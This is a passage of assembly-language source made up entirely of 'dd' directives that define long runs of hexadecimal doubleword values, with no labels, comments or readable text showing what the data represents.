9B6CD2A3h, 1560129Eh, 0D9142F00h, 0EB8F8ABCh dd 92AF00E9h, 487BFBF2h, 0EA3C43B0h, 8790746h, 3660167Ah dd 0E749D1h, 0BF9D6122h, 3D42ADE9h, 12D9E203h, 897F0EAh dd 5EAA46A8h, 7F501F00h, 1FEB0DAh, 1C89E0Eh, 4748BA55h dd 2BA2809Ch, 0B50EAB14h, 0C0F1EBC2h, 0B03126A4h, 0EB30092h dd 0D26D1530h, 0B10039D7h, 0B5BB6C6Fh, 0A61972h, 368DBC96h dd 1326F88Fh, 0EB014B00h, 1F0A160Bh, 1AA000CEh, 0B9B08BFCh dd 0F107E4B3h, 0AD8D69EFh, 3DC6C180h, 0BBC9003Fh, 0CE9AC73Ah dd 801CAF3Eh, 3820267Dh, 0AD0ED489h, 65E0FA76h, 4291D01h dd 1E6AF300h, 559A8810h, 84563BC5h, 1BA74780h, 0E6299449h dd 60B8DC00h, 25BD72D3h, 7F2B005Fh, 38A91FD5h, 8EFA4682h dd 0E7EE0A00h, 1C09CE18h, 25BC24F2h, 4F565004h, 8916C500h dd 1A93E9ACh, 59E10046h, 2E0271ABh, 40044B9h, 0C54BFF41h dd 3C56805Fh, 0C087B08Ch, 0C4CC14E0h, 2F388153h, 0FA00FA57h dd 1854A97h, 7AAEC240h, 0F85A6094h, 8424F00Eh, 0E400A8A9h dd 0C53ACF80h, 636B1FA8h, 82414h, 7753FCACh, 10C07D2Ch dd 2B56B42Ah, 0FDAE3D3Dh, 3B63A80h, 8C15C83h, 7C47AA01h dd 0ACB326DFh, 752FCh, 3631600Fh, 37D3B8BDh, 25CB9800h dd 2A3C6351h, 0F2C50380h, 0E05EA9C9h, 79CEAF90h, 40EEB70Eh dd 0C889B8h, 0BCA4DF1Ch, 3F070E28h, 19CF9F0Dh, 39085240h dd 80A06136h, 583EC8D0h, 0CC097AEEh, 0E36910BDh, 9231B044h dd 2401009Dh, 4B28E7BEh, 45002561h, 0FD57C25Eh, 7AE2F988h dd 1BC7880h, 0F19437CCh, 41391C6h, 0A14F8400h, 744BBh dd 5A836564h, 31F5F077h, 807E3B3Ch, 811AC4EBh, 12BC5102h dd 1FF72Bh, 0F55DC54Ch, 9B00607Ch, 0CC588882h, 4C284Eh dd 1B4013DEh, 0AC273FBFh, 0B8216738h, 9AA4505Fh, 0D42DCC00h dd 449226Ah, 4016004Dh, 3F230A74h, 0E326F0C3h, 0B78F5C6Dh dd 0FCDDA1ABh, 4BE84986h, 91C101D3h, 15CEA060h, 84A7F497h dd 0DF1A8B01h, 82E3CAF0h, 0F4413820h, 113F3CCBh, 350893h dd 6248532Ch, 0E9097E34h, 805FE7ACh, 49899168h, 3DA101B7h dd 16841CD4h, 236901FFh, 9405A08h, 0F49A98B2h, 881B0ECEh dd 7B807313h, 55DB36Fh, 0C8213Dh, 84B0F4EBh, 4A681645h dd 24D400C7h, 3BD19CD2h, 830FCB00h, 77F1D9A4h, 0FDDF002Fh dd 32F4A230h, 3312E4ABh, 1000806Ch, 0A3C2148Fh, 0FDF80B51h dd 0D1804C82h, 0FF09E250h, 4270A2Ch, 84145A02h, 7B78C08Eh dd 2E361DE0h, 0AE2D807Fh, 16A9DFCDh, 8E830E00h, 0F99EFE37h dd 295C01EFh, 0F60FB596h, 0BEA080CCh, 0C52655B6h, 0CD7A0542h dd 406214C4h, 337888C4h, 0B960F550h, 82AD9998h, 0E1E430h dd 0AA762C6Eh, 18A15004h, 0F6F3DE00h, 22FC85B9h, 0B40600A7h dd 4AB1DF37h, 1D079E43h, 9DB88C68h, 0BC293520h, 0BECD07A4h dd 2075F75Dh, 4209AAA0h, 802AB238h, 9AE3871Fh, 0E8AC2190h dd 0D9EC003Fh, 38D1269h, 9403320Bh, 260573ABh, 0F5C812F8h dd 345040E7h, 8A9B55F2h, 1138C201h, 0CB22AE5Bh, 6A97FCh dd 0FC7A154Bh, 1765FDEAh, 0F2D33600h, 0DB1E106Eh, 59CF1422h dd 0A000ECC3h, 3784E2ECh, 2E037E5Bh, 8B8E7319h, 0CD41E00Eh dd 0E1C80007h, 5727FBABh, 0B3005FF6h, 47B24F83h, 0F4A08842h dd 67A7019Eh, 3ABE3F7Ch, 8FB8EBD0h, 0FD00C1C9h, 756C516Fh dd 7AC94E2h, 1F901466h, 6755004Ah, 820145A3h, 0F73A51Bh dd 18804C08h, 0F928C449h, 8E000BB5h, 950AB60Ch, 5CF8794h dd 701758B4h, 90A0C7D8h, 427B2140h, 0A1254A30h, 1D6AC1E4h dd 0C02B0496h, 0D0BFEABBh, 6237BEDEh, 0E2F1603Fh, 8858CF8Eh dd 28A00CB8h, 2398FFAAh, 0DDF1D8FDh, 0F7546900h, 9F980EDCh dd 0D64B0006h, 0C081773h, 0B8009503h, 20E94664h, 580535h dd 16389C5Ch, 0A01C9FABh, 7807DBE8h, 0A5E7F4B4h, 47DDE1D0h dd 0ECE301B8h, 0E6623A98h, 0D84DC4A8h, 632CEB00h, 161CD545h dd 0F7A6004Bh, 143F51B2h, 8100C54Eh, 0B5F66F91h, 355C97h dd 0BC895E4Ah, 562D2A71h, 0EDAEA00h, 6FDFD7A8h, 0AB170038h dd 46E02195h, 0AD018E18h, 3D9A5DD2h, 0DAE47588h, 3A1703CEh dd 0CAD09950h, 0B25672E0h, 2A2F260Eh, 9145A05Eh, 0A07E94ECh dd 60AA1B9Ch, 84DD9CCh, 2D5CF49Eh, 0B2057AEBh, 62EE7D98h dd 0A49A2EC0h, 0BDAA038Ch, 9728774Ah, 939C1EC0h, 3A852113h dd 9580400h, 39163F43h, 26808175h, 0D5314BEAh, 2E00DA92h dd 0CD9A03D4h, 108D0Dh, 0F13B7F8Ch, 77B29E23h, 6BED5F00h dd 6935B167h, 0FE8F0220h, 11A61CBDh, 0F5B46060h, 18FDE900h dd 49DA0398h, 0DD58285Fh, 30CA24E4h, 8AC40274h, 9360EE95h dd 0FC00BEFAh, 110ECBC2h, 65EA7Eh, 2CA3B5AEh, 9031E6EDh dd 3EB22B1Ch, 586C8140h, 528ADEh, 17862CA4h, 5A113D9Bh dd 2A338900h, 7DC8BF54h, 0E7C30E37h, 1640906Dh, 29A5BD57h dd 45518400h, 79AC2C2Ah, 0A94A39A2h, 3456C380h, 64291A9Fh dd 2BE38503h, 0C8E28867h, 1CF1A940h, 0C77627ADh, 112D8174h dd 0F418F82Fh, 7800A7EEh, 0C9B85914h, 0A60DB7h, 0A86AD854h dd 7EBC095Ch, 472CA103h, 88E0ED40h, 0E5DA9Fh, 0F57FD862h dd 7A5F0DA3h, 0D2D95702h, 82DF474Fh, 731BC94h, 0AC1CB38Eh dd 0DCED780Eh, 6A2E20BAh, 257FBEh, 46683DA3h, 2BC1F11Ah dd 5F518100h, 10CA8FFDh, 0F08E50E9h, 1DE00635h, 108C05B4h dd 0A03A7D00h, 87F0984Bh, 83710013h, 45EFB982h, 62076A77h dd 1E1DCAEEh, 15934020h, 569200DBh, 196C8361h, 0E300CCB7h dd 0F0ED6D84h, 1E1135F2h, 0C598D12Bh, 153E29h, 0C58F80FCh dd 62040E39h, 87C621AFh, 28CE7890h, 2701C1Ah, 9AF0808Eh dd 251585F2h, 0A120DA00h, 9855685Fh, 89541F45h, 3388577h dd 0E18280C4h, 0D1293F84h, 351F90B6h, 0EBE47041h, 36D41DF1h dd 18C51CA0h, 8A4FCF33h, 8A80E889h, 0BC66FD0Bh, 9C9F5400h dd 5E5ACDFAh, 38F7023Ah, 0D607EA48h, 70995C40h, 3855D40h dd 556F8764h, 7BAAA57h, 0BE7FC4A0h, 0E607C0DEh, 466C670Ch dd 0E059F132h, 1F18AEE1h, 260339CDh, 71F1315h, 0C06F980Ch dd 316B10ADh, 240DF4Ch, 0EE48FFB4h, 5810402Eh, 6FE60052h dd 616DE88Bh, 2A14C233h, 16C83603h, 0EE0E05ABh, 186838F2h dd 249A385Ah, 810EAA0h, 5B3FDCCCh, 0F266AA00h, 89C3F305h dd 9D000679h, 0EEAEE1B0h, 1D6D22CBh, 0A4AAE7h, 614E2162h dd 0BD0F98EDh, 0B23E7ACAh, 1E86BC00h, 0FA5C8FAh, 207FB6D2h dd 56450FA0h, 306D3E7h, 0D761C7Eh, 49447F1Ah, 9400DC10h dd 18E5FB38h, 600162Bh, 0B59F35A6h, 0C73E66h, 99D222B7h dd 3BAF825Fh, 15F31B18h, 1E503B8h, 475BF2Bh, 0BF176AF0h dd 580F00F8h, 0D571BA8h, 609CA0E4h, 4C3EC09h, 8D182D28h dd 2193C0C8h, 0FB00CF88h, 42B29A0Eh, 2856E475h, 1C005F6h dd 1362297Ch, 0DC630DE5h, 0A60FD120h, 388901Dh, 0E03F6DAAh dd 87150Ah, 5D363D28h, 35C77F34h, 2AB04200h, 0A861239Dh dd 91F60093h, 0FF85E122h, 0F33A4EF2h, 669E005Ah, 9C3169CEh dd 5B560084h, 1DD22F9Ah dd 0FF033B06h, 38991798h, 0B9FCA82Ch, 5C250747h, 0E0110F32h dd 6F08B0F3h, 0B600F57Ch, 0BE3EE43h, 10E6C4Ch, 0C314FE5Dh dd 209B2A3Dh, 6407094Ch, 0A8DC6A3Eh, 0EB08A463h, 82A78089h dd 956F04Dh, 0AE24AF55h, 9B74E580h, 8807402Ah, 6320ADB5h dd 0F0CF8FC3h, 28305877h, 0C00FE2h, 5C34D842h, 530BE614h dd 83E7172Eh, 52A0B200h, 1E029765h, 26DECD11h, 0B16B00C7h dd 18A63F46h, 0B0002090h, 0CAD897C7h, 3A81457h, 0D7D950A9h dd 0BBD88387h, 0F60F8BFCh, 40730A84h, 88E61257h, 68AB1CDBh dd 52E381F4h, 0F1C5F0BFh, 3C647009h, 0C8649400h, 1210549Fh dd 4EA1028Ch, 0BF99D9D1h, 74B88B8Ch, 0ECD85C1Dh, 0D5433140h dd 0EA2FD47Ch, 0BB9E004Dh, 0A24FE5EEh, 0DE0065B6h, 580491E7h dd 1F93CB71h, 0C0A11DA3h, 19D6C8DDh, 0FE092FC6h, 81126BA9h dd 6A448334h, 202434h, 0AA044797h, 0A450F725h, 0DADF0C09h dd 0C5B08076h, 751E3BB6h, 0FDF249h, 0FA368E19h, 0E93A72DCh dd 75003E74h, 0BD68F74Ch, 33F8618h, 2AE83B70h, 0CAA3484Fh dd 8CEF9AC8h, 6D4D0800h, 1A16A3E9h, 0B87507D6h, 71BC6827h dd 0C1AAE26Fh, 38E4303Fh, 0F3A20900h, 20524D1Dh, 0C9CC0061h dd 9AE397EAh, 0EB24AF07h, 5B077C2Ah, 0A03999EFh, 1A9CEE60h dd 84BACCh, 0D202AD27h, 0B0F59250h, 289D6F00h, 0AB39AA9Bh dd 8B6304A4h, 0D044E125h, 975F7A5Ch, 0F4CECC1Ch, 5E994E00h dd 0F8604849h, 0D960C0A7h, 954D6B47h, 9C5C7E24h, 0F84FBA00h dd 0DB713Ch, 45CE4E84h, 0C8D3D797h, 0CA16B8FEh, 0EC006DE5h dd 55596FC9h, 0D9D612C3h, 1E540098h, 15CE5272h, 90048490h dd 0F9227D1Ah, 0A22A7480h, 4CB5E6CDh, 3D0024DBh, 1EEC7B89h dd 8B002B29h, 5A55BAADh, 589BF1h, 84ACB974h, 7BE85678h dd 439EF000h, 1E87ECE9h, 2BE02407h, 78C97A0h, 0D316E402h dd 0BAC1F30Bh, 7A3E0A1h, 0F87148h, 3BFA53Fh, 52CBC3h, 0B04FAC6Ch dd 0DEB7AEE5h, 172AF02h, 404DBF41h, 402D20B4h, 85D20Eh dd 86E98ACEh, 6D49DA87h, 0B0E10184h, 0B9259EBBh, 0B2EC70h dd 48D33BF4h, 14A3D1E7h, 0CD009098h, 2C4299C8h, 90419C6h dd 0C21CB434h, 0BB1FC801h, 7FEAD84Eh, 25375B00h, 6509D64Bh dd 0ACC9A055h, 0FD300068h, 3490E998h, 4C3D1167h, 0F8B88009h dd 9A72AEEFh, 63383A51h, 1D009F48h, 793AE589h, 76E20885h dd 219EC500h, 0A0C6E0A9h, 0FC7E0059h, 0E5B8D5BCh, 1000DFABh dd 880E435Fh, 3CB9AEh, 0E0EE35DDh, 0D436B205h, 0E685C4Ch dd 45A4F26Bh, 0CCC0593Dh, 0FA7A0Eh, 85885EFCh, 2EF99AC9h dd 0FB1C612Eh, 623D4900h, 2828901Ah, 9048CCh, 0AE6CB2D9h dd 2FC7F843h, 5B5E0400h, 5530AC5Ch, 519FE6D8h, 5047CE1Eh dd 0E83CC7D0h, 4F9A02ADh, 3521D033h, 0E0019CE9h, 7E2742Ah dd 0C87EED3Dh, 3CE11E60h, 3EA3CC84h, 0C8A4DCC4h, 0F95100C9h dd 6EAC1650h, 0D500F110h, 171E7E45h, 4A604E44h, 337C002Dh dd 5EA8EC1Bh, 7FF64A73h, 0D7FDAB0h, 0DE07847Ah, 8C406491h dd 1546B810h, 3F287AE6h, 5687BFB9h, 72D9AE8Ah, 0FC801A89h dd 4ABA928Bh, 88067700h, 32153FEDh, 167E161Fh, 0FE080030h dd 0D519E348h, 70B57604h, 72877F28h, 41831500h, 5B7145h dd 0DA8B2050h, 0CC8CD73Ch, 58D93E00h, 0F13578F6h, 629FEC4Ah dd 53B14849h, 161CB4C0h, 364DE0Eh, 0E08FC00Dh, 0B98C4Bh dd 5FEC28BEh, 11BDC042h, 0BCF91760h, 709076h, 1CE2AF6Bh dd 0E831A154h, 0FF1D2300h, 964A6DD5h, 0FACD383Bh, 0C1129CCCh dd 3F9004D2h, 17A8C024h, 520EFC5Bh, 124533A5h, 9EF64700h dd 2FDC1Dh, 0BC510DA2h, 0B3D8DB59h, 0BDD3C400h, 17AC417Ch dd 2D7D0026h, 879DE0D0h, 0D4023D76h, 0A02EDD7Bh, 0C44650h dd 0C0B1370Fh, 9D4D7D16h, 73A27000h, 30DCE5A5h, 5772001Bh dd 0E2F57EB6h, 0F41C6127h, 1A003D71h, 6DEBA593h, 192B0E01h dd 4F60D29Ah, 9597FD4Ah, 8BF7F901h, 59DA3DC9h, 1B7BDCh dd 482AE423h, 7D289187h, 0D6631701h, 0BCE0CBAAh, 3F7443CCh dd 7F7BF680h, 0C3350045h, 0C5347075h, 8E58E877h, 49400048h dd 68F927D6h, 8F120586h, 0C196EEC6h, 0CC09CB79h, 0BC04F755h dd 465AD890h, 0B70EB480h, 1AF7572h, 213B670Ah, 0E88BC5F3h dd 7B07296Ch, 8C10E77Ch, 7F52584Eh, 8B33038Ah, 90178E13h dd 9536A0F7h, 35508C0Dh, 2707EA0Ch, 237A3CB5h, 0A8ABB240h dd 284B78h, 865D0364h, 0F1076A5Ch, 7C48C433h, 98E03EA4h dd 32078C3h, 5A89C262h, 0A90B5DD5h, 0A0F1301Bh, 7F2A714Ch dd 227400BFh, 0F924A27Ch, 0A103CF11h, 789B29E7h, 0F5A60005h dd 308451D8h, 0D60382B5h, 0C09E07F0h, 786860DBh, 0DC475C8Eh dd 908499C1h, 1C6427A4h, 2E99004Ch, 937FF71Ah, 0C400E107h dd 5BCB5A8Fh, 0DB4304h, 6295FFB6h, 84552F61h, 48123130h dd 0C7FDAh, 9C8F3B48h, 8EF9D027h, 2DD83D00h, 0D19505CCh dd 374F01B1h, 1F065FEAh, 2B48080h, 0AC8E7D4Bh, 0B56700BCh dd 500BD9F3h, 32008C3Ch, 863D6651h, 0C6DEE2Fh, 13D09A9Bh dd 0F8002E71h, 0F4A93847h, 668DDC48h, 2122D81Ch, 46505701h dd 29C00AB4h, 37A2E184h, 75DF809Fh, 0DE01E38Dh, 32211D1h dd 0BC4885ACh, 1F9E3B38h, 7C98C280h, 7FE71B0Fh, 21C091E8h dd 11EB55Ah, 62090FC2h, 92A0C0D8h, 4AC35FF7h, 6A16A4A8h dd 0EE624277h, 0C931D20h, 140C9841h, 205C6941h, 588F3A80h dd 6E5FF801h, 847E3A1Eh, 0C059EF19h, 0FF1C8300h, 0D91D0325h dd 0D340DBA1h, 0D444C511h, 2ECD0082h, 86C4EC0Dh, 0A813BE42h dd 3BBC5168h, 0A307DD3Bh, 81DE48F8h, 0CC7D643Fh, 0BC0083D9h dd 0E0A08F11h, 24A163h, 127A34BFh, 9BA29FDAh, 0BACA0217h dd 81FCF7C0h, 377100FDh, 433E55A0h, 0D10078E1h, 9D75F18Ah dd 19CAB1Dh, 58E0C5EDh, 30F35552h, 1703A4B3h, 0DC6DC64h dd 7AE3D03Ch, 6598002Bh, 1A416D83h, 0FB00B444h, 93C5ECABh dd 75A3442h, 9022461Bh, 0BF0DA0A6h, 193E5643h, 0F5F005Bh dd 8DC6F63Ch, 0A0750059h, 90AE91CEh, 770FFD55h, 232EF794h dd 404725h, 2390D28h, 7482717Fh, 52E98400h, 0BD67E1DFh dd 44E800E3h, 0D6C7540h, 210FCC55h, 0C07A708Fh, 47869A7Eh dd 4D10154h, 0C8BE310h, 0D9F6F0B0h, 0FD99481Ch, 0DA006F9Fh dd 0BBACEB0Dh, 7EE7CF2h, 6391F54Eh, 0E0A18722h, 0B8B308A5h dd 0A957D8C0h, 86A2BCh, 96D4D70Bh, 0FE1ED1EFh, 6BE9E00Fh dd 141FA05Fh, 0AD3975h, 0D66F9023h, 0FF50130h, 1C8B8C1Dh dd 0F0369180h, 75D2FC16h, 0E7270063h, 9434B40Ah, 0C300C655h dd 0F14A0F3Bh, 0FE89B3h, 1EC429BDh, 0F45B5CC0h, 0A3666703h dd 90467232h, 3D589596h, 0A500031Bh, 5BECCEB2h, 4013375h dd 6910E0Dh, 98108F2h, 0F12D9F27h, 0DC1A718Ah, 9500FD03h dd 0D43E7F60h, 0E6E55D8Bh, 34971C63h, 20DF4045h, 3644CDB1h dd 0A0515F03h, 0A0D7E637h, 2EAD8829h, 4265F8h, 16539A22h dd 55776FD1h, 3903D51Ch, 8008D39Bh, 0E77B5604h, 5F2CF4h dd 303D2888h, 9BCEBE7h, 61395CF2h, 4F90E021h, 5646FAh dd 0B13C0A53h, 0D77243C9h, 0CBC47600h, 0B8C24F06h, 0C072F1h dd 8B14B026h, 0FE9A312Ch, 5AD4680Ah, 3400CCA2h, 42D33BD5h dd 0F3B12858h, 542E269Ch, 4E1D0066h, 0F5E12105h, 784918C0h dd 3891B686h, 77DC89h, 0FCA357B8h, 6E5551CCh, 5816DE30h dd 467BD8h dd 0A9A83D7h, 0ED499D95h, 0CE00AF98h, 94D31F09h, 1A355A6h dd 0B5AF40E4h, 47F76668h, 4720B1F2h, 0FE95400Ch, 8000BE0Bh dd 5940ECD6h, 77ADEBAh, 41891C03h, 0EDB880F5h, 0EB0AA19Ah dd 4A2D487h, 0CD851007h, 0D16AECC1h, 3C1FD0h, 270BFA61h dd 95F49978h, 810018E8h, 0F1F8912Fh, 22020Eh, 0DFFE2CD8h dd 84C280C6h, 8C5BEB00h, 8B5C9075h, 0ACBB39A9h, 4FF3E680h dd 95BE7039h, 0D28221Ch, 5D5AF400h, 74675B6Eh, 0CB4328FAh dd 98E76088h, 0BC5618C0h, 50702A24h, 5ED9D884h, 902B1883h dd 0B8FE0Fh, 0EEFB8F22h, 82F08584h, 33E61600h, 25BE616Fh dd 40CB01B6h, 0AE5249D9h, 99588065h, 0A61A8927h, 78881D16h dd 0CAAA420Bh, 86604ED9h, 68005E62h, 28D15609h, 1FECA0E5h dd 873C9D14h, 307E0D9Eh, 0FF7DFA4Bh, 0E736EA09h, 0CC2200F2h dd 169DE64h, 136C8F40h, 7079233Bh, 8E01EE89h, 0AE363CC9h dd 5A307385h, 1F570F83h, 236075B3h, 0DD9A8931h, 0F2D2CA03h dd 0A0F5A3E1h, 1CCB7D59h, 40532E8Ah, 1DEF93F7h, 2000BC54h dd 0F8FC35A9h, 17E2BB91h, 0B61088h, 49E57B81h, 24006C79h dd 0DAAD41B4h, 0CB8675h, 6A811199h, 0D3BE6D5Dh, 0F035E700h dd 5033BF36h, 30F23AF1h, 5E99F381h, 0D8623EC6h, 0E00EB839h dd 60C38B0Fh, 0A2EAB758h, 0EC461B97h, 0B5B0D8F5h, 6A0FCF99h dd 40E7FC36h, 94472187h, 75E2005Eh, 0EDA949F3h, 1C03293Ah dd 5838FCFBh, 0B0F6A3AEh, 70C28D8h, 0A2E12AFDh, 0CD0D0080h dd 1A005278h, 0D1771B07h, 38E3815Fh, 0FC30EE71h, 854B3020h dd 0B5F04803h, 0A87424AAh, 0E1197Dh, 0D769085Ch, 0A4C471C7h dd 0C9815700h, 217996Dh, 0F9E950E8h, 75CC0529h, 0F942BFh dd 0F0DA14E0h, 0E00E6098h, 6129ABCEh, 0F146A3E9h, 30D554F4h dd 33C88F37h, 803B0E3Bh, 1D9B004Ah, 9224F2F8h, 9DE200B7h dd 36CE595Eh, 67713C82h, 0B8CF5C00h, 0CB10E885h, 0CBF0E2Bh dd 0B12F7369h, 0F2762660h, 0E3001BBBh, 0B28F45F4h, 35672B3h dd 64DE4CFBh, 0F000F35Eh, 0C94FF0F6h, 0F8658D7Fh, 0ADB9014Bh dd 8C2FC2C1h, 0C8FD31A7h, 1B00E806h, 0B5792E9Dh, 7AAC2Dh dd 19152CCh, 78AB4713h, 956AC300h, 6EE9CD03h, 0A0EA0165h dd 0FB3B7957h, 0D95DE050h, 0ADD52B0Eh, 8EE98082h, 310A013h dd 8389DFDh, 190265C3h, 3DAA9E4Ch, 0BA24480Dh, 0CAA10F73h dd 0C60B26Fh, 464C760Ah, 85604700h, 0F9BA744Bh, 0D96500A7h dd 28EAA8B9h, 9CEC80C8h, 0C5E30400h, 0CA3EE52Ah, 58CC001Bh dd 0F38298B4h, 78E82E3Dh, 0BD51B300h, 0B5351FA7h, 524A1F1Bh dd 6D956B7h, 285F9794h, 0C70F39h, 459F054Fh, 0DA813h, 8C98CC2Ah dd 0DC04025Eh, 44157400h, 840B81A0h, 482B00F6h, 20473D8Dh dd 5300D9B5h, 71467522h, 3AC6912h, 57B6A3C0h, 14F8FB76h dd 0B9A89DFFh, 4D38C102h, 9BC88051h, 0D5CA78F1h, 0E6AE1C43h dd 0C0BD9D05h, 0E274968Ch, 700A06Ch, 2F1E2C5Dh, 3AE38FFh dd 0E737A38Fh, 0B9809E8Ah, 2000AA65h, 478ED634h, 713BC9h dd 99A25776h, 10F7E0EDh, 809BF43Bh, 0FE610A32h, 0A4EE1E6h dd 0A2B3D68Dh, 0C0F507B1h, 0C1F681BBh, 0C71130B9h, 5EF84273h dd 3C711700h, 18250F0Dh, 0A4B00004h, 8D1687E5h, 7D0078AEh dd 4CFC4FE6h, 2FF2D8Ah, 91325E24h, 9440D6B1h, 0ED3A5B35h dd 804D3BB7h, 1753F9C6h, 0C1BD78h, 0BA64EC92h, 0BF0FE2C9h dd 0BE149AC7h, 1263E570h, 4CDEF2FDh, 9141213h, 0C7030C0Ch dd 0D7A56CC0h, 0EA1F0800h, 5A79523Fh, 0A0509ADBh, 11B0278h dd 5E8BBAACh, 0D08DB9D3h, 0C07298C5h, 0B7004092h, 0AB86739Dh dd 7455827Bh, 5CE019Bh, 8735E8C8h, 5D108133h, 7A7CB381h dd 0BE9F208Ah, 3DEA0020h, 1418DD75h, 0B0926C0Ch, 0E681BFh dd 265E8AACh, 0CDEDFBF1h, 380046E8h, 0B7A3F774h, 0A0E96C24h dd 0C3A490h, 0E2565898h, 0DD6D3DD3h, 0AD3FE828h, 66855F7h dd 0D05C1B5Ah, 6594BE0Fh, 801D9204h, 57EF5380h, 0DAA009h dd 0C735C324h, 7D7E6196h, 49517905h, 0C1C02B2Eh, 58CC8444h dd 1E6F5797h, 0A1EAE780h, 0D2004FDBh, 81B057C6h, 0FE8232Bh dd 83751C47h, 49A7D760h, 8A4CE2F7h, 0DA690043h, 84D2ED2Dh dd 0CE0304E8h, 80C6511Eh, 5F88354Ch, 436A62Bh, 48F06873h dd 15E7904h, 0FF0047C4h, 6F10B7C5h, 9400C64Ch, 82F2582Fh dd 0F1283F5Fh, 0DC501CEAh, 0D86244ECh, 91342F08h, 9CF03D20h dd 3764035Ah, 3804363Fh, 0B66C99E6h, 0C54D5009h, 4DAA3D69h dd 0D369ED4Ch, 670C7840h, 21C1A50h, 0BF1089D8h, 5081566Dh dd 18A01045h, 86A5360h, 70600442h, 72581065h, 3E81E966h dd 816881C9h, 0DEA1C4Ch, 0F01A4EB6h, 5D941808h, 0F7E214A3h dd 20704C86h, 78409953h, 718B50A5h, 0B4FCE3h, 0CF397A1Dh dd 941BA69Fh, 3A51EF1Fh, 0A116E0A8h, 64407AAh, 5CFC4AABh dd 86F50485h, 10E5E9A7h, 0C4A4A0E8h, 0A27D961Dh, 0DC9B2880h dd 8822F48h, 0FEA5F49Ah, 70663C40h, 0B0560823h, 0C183FFF3h dd 3134BF1Bh, 9E69DA38h, 0C6182493h, 0F5C28218h, 13520648h dd 6889F3h, 1EEA39A0h, 9344A718h, 301B7EB7h, 5D1134E0h dd 124C775Ah, 3FA0664h, 0C69BE49h, 8701F23Dh, 58008848h dd 8F6F1AAh, 1D21B676h, 3DB5E7F0h, 108F0174h, 8435ABD4h dd 0F9C83072h, 30B71A24h, 6AD1983h, 0E9081037h, 38EC01F3h dd 36EE6B9Eh, 9F24999h, 4233E0F5h, 0B4DBF000h, 9A3DEC94h dd 4A5F00D6h, 0FD4CFE68h, 5E00BD37h, 9B8640DBh, 59588B1h dd 91060AC5h, 22C421BFh, 2B25C499h, 41FEA402h, 680C52F2h dd 2CDF5D8h, 0C48B369Bh, 0E448715Ch, 0B401BE1Bh, 0B8FE72AEh dd 283434F4h, 0C3D81EA7h, 6B8EA5Ch, 5BC424E1h, 0B528118Bh dd 400D8869h, 80E0BA7Dh, 11A42E8h, 0A19A9CEFh, 465BC3FAh dd 0E560E178h, 57E1F308h, 38346054h, 1AC27A6Fh, 0C409DBE4h dd 53D456Eh, 10008804h, 0F81EED72h, 37103019h, 38E923A1h dd 208ACA1h, 0E03840FAh, 0AB8900F1h, 80E9333Dh, 86024583h dd 4BF3B1C0h, 73F90537h, 0AFC0FBA8h, 5C78A028h, 9C796B13h dd 2A38A815h, 4002947Ch, 0A4F68CB0h, 46B8948Eh, 0FA0922FDh dd 18221F5Eh, 0D3FF1D8Ah, 0AAF8009Dh, 19C6F505h, 0C9A10D06h dd 92802DAh, 701AFCA2h, 0FA3C9C21h, 71A443D6h, 800AC3E1h dd 553DF7D0h, 75AA5ED7h, 3F683CBDh, 0C5B6F804h, 0FC14806Eh dd 0B0E40899h, 0F141EA07h, 0B7005126h, 18F81F9Eh, 6018341Ah dd 8232457Eh, 871DC977h, 0A069B5B8h, 1AE172C4h, 8D192AF9h dd 9B671F84h, 9AB089EBh, 0D800DC12h, 0DA6F1FBDh, 925219E8h dd 2A49848Ch, 735A5B01h, 90510612h, 25F5300Ch, 3742B631h dd 2AC3EF32h, 10304EE9h, 44E8CD82h, 0BD14FF88h, 204C3672h dd 46F314ECh, 667A6034h, 2987F01Eh, 396CB000h, 0D6823CADh dd 77D30040h, 0B5D89669h, 1090DC05h, 88D90360h, 91BBC02h dd 559FC142h, 8808D811h, 83375129h, 0D552BDEAh, 0F1703909h dd 9B8807D9h, 287588Ah, 0FE4192F4h, 48487B1Ah, 113F00C1h dd 991E0C35h, 0A6008F8Bh, 0CC25ADC9h, 1F62759Fh, 3510F4h dd 0CB531E7h, 0B000FE6Ah, 238EF534h, 7A28A98Dh, 0FDDD3E1Fh dd 18FC2F18h, 0E07F478h, 8D9AD432h, 61DDF980h, 6F0A0F65h dd 0FB0121FCh, 0D3419C0Eh, 0B011B5A9h, 39098839h, 10F8606Fh dd 0CBA231F9h, 0AE903Ch, 4CFD2588h, 513EBCh, 0EC58B663h dd 0C457D51Fh dd 0F87C2101h, 0D37B8EFBh, 0F92E01h, 0F8EC37A3h, 30B2FEBEh dd 4C181CD2h, 0EF0C3C74h, 811327C8h, 0A0AE018Fh, 15FB5536h dd 1C798722h, 0DDA0F4CBh, 0DCF7700Ah, 0CCE34FC1h, 0BDADE481h dd 391080E7h, 91485FF5h, 0B4D60F77h, 0B083ED5Ch, 6000F46Fh dd 0F34956D9h, 0C63131Eh, 0CFB348AEh, 5E035A51h, 527C390h dd 9F8AC070h, 4E060179h, 8D350BBDh, 0F6E04351h, 0E96F5291h dd 4470D0B0h, 0C2F91D03h, 63616Ch, 0D97955F0h, 52235C28h dd 422BC00h, 8C3239DFh, 0D7ACA8FAh, 0CCCE1F24h, 3F67C0AAh dd 1517627Ah, 8068573Fh, 539B0A93h, 693879h, 4B8173B1h dd 294EC0E9h, 25A8800h, 0BDB851B3h, 56CF1222h, 530C0C93h dd 7A00B4E9h, 0D3066ECh, 29C97F63h, 75042935h, 87EF660h dd 0D0D20FFCh, 0B780361Eh, 16067C72h, 9200FE75h, 7B8DC98Ah dd 4838FB2Ah, 309A4D0h, 0D90DBA28h, 118FC529h, 0A81238A6h dd 89A21410h, 442608FAh, 1084C41Eh, 2807157Ch, 23223CC6h dd 40702022h, 99556F00h, 304BFE1Ch, 0EAD300E1h, 0FF665202h dd 9B1EB7EFh, 1C40A76Ch, 392CA51h, 4FA200FEh, 160D8F29h dd 0AB00A667h, 1D1BAFA5h, 0D982CBh, 70A9AA32h, 91D14424h dd 3D9680F9h, 5822D675h, 0E67E00C9h, 8FC5CBAAh, 8E0039B9h dd 0AFE11779h, 0B88C54h, 614CB70Bh, 0BE9804C5h, 1003B101h dd 0B0F77FB5h, 0C8C3E0h, 0D442E351h, 3C76607Eh, 92618100h dd 3138058Bh, 0B5FC0082h, 0F56F5BA4h, 2A0516E1h, 8C8D5F02h dd 568AD840h, 0EA064BAEh, 0EAD60036h, 2A27DBE8h, 78C0353Eh dd 0B9B18BDh, 0A3300A2h, 0F109EADh, 0CB02C378h, 0FC443F61h dd 48F9C07Eh, 0CA0D0E97h, 8C3EA716h, 5978DF39h, 70C8F230h dd 1FFD4144h, 4158E2A2h, 6C3D8475h, 6D3CD040h, 